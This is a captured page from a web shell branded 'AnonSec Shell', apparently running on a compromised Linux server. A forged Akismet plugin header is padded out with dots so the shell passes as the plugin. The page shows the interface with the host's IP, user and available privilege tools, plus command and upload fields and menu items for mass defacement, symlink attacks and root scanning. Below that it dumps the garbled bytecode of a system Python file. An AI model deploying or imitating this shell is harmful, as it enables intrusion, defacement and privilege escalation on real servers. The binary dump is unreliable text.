#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyo
�
L��ec@`s�ddlmZmZmZddlmZddlmZddlZddlmZddl	m
Z
ddljZ
ddlmZddlmZdd	lmZdd
lmZddlmZeje�ZdZd
ZdZdZdZ dZ!dZ"dZ#dZ$dZ%dZ&dZ'dZ(dZ)dZ*dZ+dZ,dZ-de.fd��YZ/de/fd ��YZ0d!e.fd"��YZ1d#e.fd$��YZ2d%e1fd&��YZ3dS('i(tprint_functiontdivisiontabsolute_import(tcopy(tdatetimeN(tGMT(tRestlibException(t
parse_date(tReasons(tfile_monitor(tutils(tugettexttfuture_subscribedt
subscribedtnot_subscribedtexpiredtpartially_subscribedtvalidtinvalidtpartialtdisabledtunknownscpu.cpu_socket(s)smemory.memtotaliiiiitComplianceManagercB`s�eZdd�Zd�Zd�Zd�Zd�Zd�Zd�Z	e
d��Zd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�ZRS(cC`s�tjtj�|_tjtj�|_tjtj�|_tjtj�|_	||_
d|_d|_
d|_d|_d|_d|_d|_d|_t|_d|_d|_d|_|j�dS(N(tinjtrequiretCP_PROVIDERtcp_providertPROD_DIRtproduct_dirtENT_DIRtentitlement_dirtIDENTITYtidentityton_datetNonetinstalled_productstunentitled_productstexpired_productstpartially_valid_productstvalid_productstpartial_stackstfuture_productstreasonstFalsetsupports_reasonst
system_statustvalid_entitlement_certststatustload(tselfR!((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyt__init__=s$													cC`s�|jj�|_i|_i|_i|_i|_i|_i|_t	g|�|_
t|_t
|_g|_|j�dS(N(Rtget_installed_productsR#R$R%R&R'R(R)RR*R+R,tUNKNOWNR-R.t_parse_server_status(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR0Qs									cC`s}|jdkrvy+|jj�j|jj|j�|_Wqvtk
rr}t	j
d�t	j|�d|_qvXn|jS(Ns-Failed to get compliance data from the server(R/R"Rtget_consumer_auth_cpt
getComplianceR tuuidR!t	Exceptiontlogtwarnt	exception(R1te((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytget_compliance_statuss+

c	C`s|j�stjd�dS|j�}|dkr9dS|d|_|d|_|d|_d|kr�t|_	t
|d|�|_nd|kr�t|d�r�|d|_
nI|dr�t|_
n3|js�|js�|jjr�t|_
n	t|_
d|_|d	dk	r2t|d	�|_n|d}xht|jj��D]Q}||jkrR||jkrR||krRtjd
|�|j|�qRqRWxP|D]H}|jj|�}|dkr�tjd|�q�n||j|<q�W|j�|j�dS(s6 Fetch entitlement status info from server and parse. s/Unregistered, skipping server compliance check.NtcompliantProductstpartiallyCompliantProductst
partialStacksR*R/tnonCompliantProductstcompliantUntils9Installed product %s not present in response from server.s3Server reported installed product not on system: %s(t
is_registeredR:tdebugR>R"R'R&R(tTrueR,RR*tlenR-tINVALIDtPARTIALR4tcompliant_untilRtlistR#tkeysR;tappendRtfind_by_productR$t_scan_entitlement_certstlog_products(R1R/tunentitled_pidstpidtunentitled_pidt	prod_cert((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR5�sP



	
		
		
	
c	C`s�tj}tjd|t|jj���|t|jj���|t|jj���|t|j	j���|t|j
j���|j�tjdt|jj���dS(Ns�Product status: valid_products=%s partial_products=%s expired_products=%s unentitled_producs=%s future_products=%s valid_until=%sspartial stacks: %s(
R
t
friendly_joinR:RERKR'RLR&R%R$R)RJR((R1tfj((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyRP�s		
c`st�fd�t�jj��D��}�jj�}tjt��}x�|D]�}|j�rx�j	j
|�nx�|jD]�}|jt|j
��kr�|jj�|kr��j}n$|jj�|kr��j}nq�|j|jg�j
|�q�q�WqSWdS(s�
        Scan entitlement certs looking for unentitled products which may
        have expired, or be entitled in future.

        Also builds up a list of valid certs today. (used when determining
        if anything is in it's warning period)
        c3`sW|]M\}}|t�jj��kr|t�jj��kr||fVqdS(N(RKR'RLR&(t.0tktv(R1(sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pys	<genexpr>�s	N(tdictRKR#titemsRRtnowRtis_validR.RMtproductstidRLtvalid_rangetbeginR)tendR%t
setdefault(R1tunknown_productst	ent_certsR!tent_certtproducttproduct_dict((R1sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyRO�s
+
cC`s|jS(N(R-(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytget_system_status_idscC`sKitd�t6td�t6td�t6td�t6td�t6}|S(s<
        Get status map
        :return: status map
        tCurrenttInsufficienttInvalidtDisabledtUnknown(t_tVALIDRIRHtDISABLEDR4(t
status_map((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytget_status_map
s	



cC`s#|j�}|j|j|t�S(N(RstgetR-R4(R1Rr((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytget_system_statusscC`s|jS(N(R,(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytare_reasons_supported scC`s|jtkp|jtkS(sv
        Return true if the results of this cert sort indicate our
        entitlements are completely valid.
        (R-RpRq(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR]%scC`stjtj�j�S(N(RRRR](R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyRD,scC`sw|j�stS||jkr#tS||jkr6tS||jkrItS||jkr\t	S||j
krotStSdS(s$Return the status of a given productN(RDR4R&tPARTIALLY_SUBSCRIBEDR't
SUBSCRIBEDR)tFUTURE_SUBSCRIBEDR%tEXPIREDR$tNOT_SUBSCRIBED(R1t
product_id((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyt
get_status/scC`s(x!|jD]}|j�r
tSq
WtS(N(R.tis_expiringRFR+(R1tentitlement((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytin_warning_periodBscC`s:|jtkrtS|jtkr&tS|j�r6tStS(N(R-RHtRHSM_EXPIREDRItRHSM_PARTIALLY_VALIDR�tRHSM_WARNINGt
RHSM_VALID(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytget_status_for_iconIsN(t__name__t
__module__R"R2R0R>R5RPRORitstaticmethodRsRuRvR]RDR}R�R�(((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR;s	.		I		&							t
CertSortercB`s�eZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�ZRS(s
    Queries the server for compliance information and breaks out the response
    for use in the client code.

    Originally this class actually sorted certificates and calculated status,
    but this is handled by the server today.

    If unregistered we report status as unknown.

    On every successful server fetch (for *right now*), we cache the results.
    In the event we are unable to reach the server periodically, we will
    re-use this cached data for a period of time, before falling back to
    reporting unknown.
    cC`s�tjtj�|_|j�tt|�j|�t�|_	t
jtjtj�j
|j|jg�t
jtjtj�j
|j|jg�t
jtjtj�j|j|jg�g}t
j|�|_dS(N(RRtINSTALLED_PRODUCTS_MANAGERt
installed_mgrtupdate_product_managertsuperR�R2tsett	callbacksR	tDirectoryWatchRtpathton_prod_dir_changedR0Rton_ent_dir_changedRt
cert_dir_pathton_identity_changedtFilesystemWatchertcert_monitor(R1R!tcert_dir_monitors((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR2bs
cC`s7tjtj�}|j|jj�|jj|j�S(N(	RRtENTITLEMENT_STATUS_CACHEtread_statusRR6R R8R!(R1tstatus_cache((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR>�s
	cC`sk|j�rgtjtj�}tjtj�}y |jj|j�|j�Wqgt	k
rcqgXndS(N(
RDRRRRR�tupdate_checkR6R8R(R1Rtconsumer_identity((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s		
cC`s&|jj�}|r"|j�ndS(N(R�tupdatetnotify(R1tupdated((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytforce_cert_check�scC`s%xt|j�D]
}|�qWdS(N(RR�(R1tcallback((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��scC`s|jj|�dS(N(R�tadd(R1tcb((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytadd_callback�scC`s1y|jj|�tSWntk
r,tSXdS(N(R�tremoveRFtKeyErrorR+(R1R�((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pytremove_callback�s

cC`s|j�|j�dS(N(R0R�(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyt	on_change�s
cC`s|j�dS(N(R�(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyton_certs_changed�scC`s|jj�|j�dS(sg
        Callback method, when content of directory with product certificates has been changed
        N(RtrefreshR�(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s
cC`s|jj�dS(sk
        Callback method, when content of directory with entitlement certificates has been changed
        N(RR�(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��scC`s|jj�|jj�dS(sg
        Callback method, when content of directory with consumer certificate has been changed
        N(R treloadRtclean(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s
cC`st|jj��dkS(Ni(RGRRK(R1((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pythas_entitlements�sN(R�R�t__doc__R"R2R>R�R�R�R�R�R�R�R�R�R�R�(((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR�Ss		
									tStackingGroupSortercB`s#eZd�Zd�Zd�ZRS(cC`s�g|_i}x�|D]�}|j|�}|r�||krrt||j|��}|jj|�|||<q�||}|j|�q|jjt|��qWdS(N(tgroupst_get_stacking_idtEntitlementGroupt_get_identity_nameRMtadd_entitlement_cert(R1tentitlementststacking_groupsRtstacking_idtgroup((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR2�s	


cC`std��dS(Ns+Subclasses must implement: _get_stacking_id(tNotImplementedError(R1R((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��scC`std��dS(Ns-Subclasses must implement: _get_identity_name(R�(R1R((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s(R�R�R2R�R�(((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s		R�cB`seZdd�Zd�ZRS(tcC`s#||_g|_|j|�dS(N(tnameR�R�(R1RR�((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR2�s		cC`s|jj|�dS(N(R�RM(R1R((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s(R�R�R2R�(((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��st"EntitlementCertStackingGroupSortercB`s#eZd�Zd�Zd�ZRS(cC`stj||�dS(N(R�R2(R1tcerts((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR2�scC`s|jr|jjSdSdS(N(torderR�R"(R1tcert((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s	
cC`s|jr|jjSdSdS(N(R�R�R"(R1R�((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s	
(R�R�R2R�R�(((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyR��s		(4t
__future__RRRRRtloggingtrhsm.certificateRtrhsm.connectionRtsubscription_manager.injectiont	injectionRtsubscription_manager.isodateRtsubscription_manager.reasonsRtrhsmlibR	tsubscription_managerR
tsubscription_manager.i18nRRot	getLoggerR�R:RyRxR{RzRwRpRHRIRqR4tSOCKET_FACTtRAM_FACTR�R�R�tRHN_CLASSICR�tRHSM_REGISTRATION_REQUIREDtobjectRR�R�R�R�(((sF/usr/lib64/python2.7/site-packages/subscription_manager/cert_sorter.pyt<module>sH�w

Anon7 - 2022
AnonSec Team